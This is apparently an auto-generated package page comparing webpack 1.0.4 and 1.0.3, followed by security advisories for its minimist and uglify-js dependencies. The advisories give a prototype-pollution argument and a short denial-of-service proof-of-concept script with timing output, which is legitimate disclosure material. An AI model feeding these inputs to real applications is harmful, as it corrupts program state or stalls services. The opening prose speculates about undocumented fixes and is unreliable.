Webpack version 1.0.4, released on March 1st, 2014, followed shortly after version 1.0.3, which was released on February 27th, 2014. While the core functionality remains consistent between these minor versions -- focusing on modular JavaScript bundling for browsers with CommonJS/AMD support, code splitting, and loader support for various file types like JSON, Jade, CoffeeScript, CSS, and Less -- the key difference mainly resides on the release date, being version 1.0.4 the most recent one. For developers, upgrading from 1.0.3 to 1.0.4 ensures they are using the potentially most stable and updated version within the 1.0.x branch, likely containing minor bug fixes and performance improvements not explicitly documented.
Both versions offer a robust set of features, including dependency management through packages like async, clone, mkdirp, esprima, and uglify-js. The webpack-core dependency is also important as it suggests core updates along the different versions. The extensive list of devDependencies highlights the rich ecosystem of loaders available for webpack, accommodating various pre-processing needs. Choosing the latest version implies leveraging cumulative benefits of community contributions and the author's (Tobias Koppers @sokra) enhancements to the bundling process. Therefore, developers looking for a reliable module bundler should opt for version 1.0.4 to benefit from the latest potential enhancements and bug fixes.
All the vulnerabilities related to the version 1.0.4 of the package
Prototype Pollution in minimist
Affected versions of minimist are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted adds a y property with value Polluted to all objects. The argument --__proto__=Polluted raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist.
Upgrade to versions 0.2.1, 1.2.3 or later.
Prototype Pollution in minimist
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js, function setKey() (lines 69-95).
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.